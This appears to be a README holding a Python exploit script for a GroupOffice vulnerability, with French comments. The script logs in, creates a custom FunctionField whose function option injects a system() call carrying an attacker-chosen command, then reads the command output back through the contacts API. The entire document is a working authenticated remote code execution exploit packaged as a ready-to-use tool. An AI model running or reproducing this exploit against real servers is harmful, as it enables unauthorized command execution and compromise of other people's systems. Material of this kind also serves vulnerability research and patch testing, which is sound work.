README.md
Rendering markdown...
import requests
import json
import re
import argparse
def connect(base_url, username, password):
url = f"{base_url}/api/auth.php"
data = {
"username": username,
"password": password
}
response = requests.post(url, json=data)
response.raise_for_status()
auth_data = response.json()
return auth_data["accessToken"], auth_data["CSRFToken"]
def create_fieldset(base_url, access_token, csrf_token, name="Test FieldSet", entity="Contact"):
url = f"{base_url}/api/jmap.php"
headers = {
"Cookie": f"accessToken={access_token}",
"X-CSRF-Token": csrf_token,
}
data = [
["FieldSet/set", {
"create": {
"temp1": {
"name": name,
"entity": entity
}
}
}, "c1"]
]
response = requests.post(url, json=data, headers=headers)
response.raise_for_status()
return response.json()
def create_field(base_url, access_token, csrf_token, fieldset_id="1", field_name="Calculator Field",
database_name="calc_field", function="whoami"):
url = f"{base_url}/api/jmap.php"
headers = {
"Cookie": f"accessToken={access_token}",
"X-CSRF-Token": csrf_token,
}
data = [
["Field/set", {
"create": {
"temp1": {
"name": field_name,
"fieldSetId": fieldset_id,
"type": "FunctionField",
"databaseName": database_name,
"options": {
"function": f"system('{function}'); 42"
},
"sortOrder": 1
}
}
}, "c1"]
]
response = requests.post(url, json=data, headers=headers)
response.raise_for_status()
return response.json()
def get_contacts(base_url, access_token, csrf_token, extract_calc_field=True):
url = f"{base_url}/api/jmap.php"
headers = {
"Cookie": f"accessToken={access_token}",
"X-CSRF-Token": csrf_token,
}
data = [
["Contact/get", {
"ids": None, # None sera sérialisé en null en JSON
"properties": ["id", "name", "customFields"]
}, "c1"]
]
response = requests.post(url, json=data, headers=headers)
response.raise_for_status()
if extract_calc_field:
# Extraire le JSON de la réponse (enlever le texte avant)
json_match = re.search(r'\[\[.*\]\]', response.text)
if json_match:
json_str = json_match.group(0)
# Parser le JSON
parsed_data = json.loads(json_str)
# Extraire calc_field depuis customFields
calc_field = parsed_data[0][1]["list"][0]["customFields"]["calc_field"]
return calc_field
else:
raise ValueError("Impossible de trouver le JSON dans la réponse")
else:
return response.json()
def parse_args():
parser = argparse.ArgumentParser(description="Exploit script for GroupOffice CVE")
parser.add_argument("-u", "--url", required=True, help="Base URL")
parser.add_argument("-n", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", required=True, help="Command to calculate")
return parser.parse_args()
def main():
args = parse_args()
# Nettoyer l'URL (enlever le slash final si présent)
base_url = args.url.rstrip('/')
# ascii art because why not, and i do what i want
print(r"""
____ _______ ___
/ __ \/ _/ _(_)______ / _ \_ _____ ___ ____
/ /_/ / _/ _/ / __/ -_) ___/ |/|/ / _ \/ -_) __/
\____/_//_//_/\__/\__/_/ |__,__/_//_/\__/_/
""")
# 1. Connexion
access_token, csrf_token = connect(base_url, args.username, args.password)
print(f"[+] Connected to {base_url}")
# 2. Créer le FieldSet
create_fieldset(base_url, access_token, csrf_token)
print(f"[+] Created FieldSet")
# 3. Créer le Field avec la fonction système
create_field(base_url, access_token, csrf_token, function=args.command)
print(f"[+] Created Field")
# 4. Récupérer les contacts et extraire calc_field
calc_field = get_contacts(base_url, access_token, csrf_token)
print(f"[+] Retrieved calc_field \n")
print(f"{calc_field} \n")
if __name__ == "__main__":
main()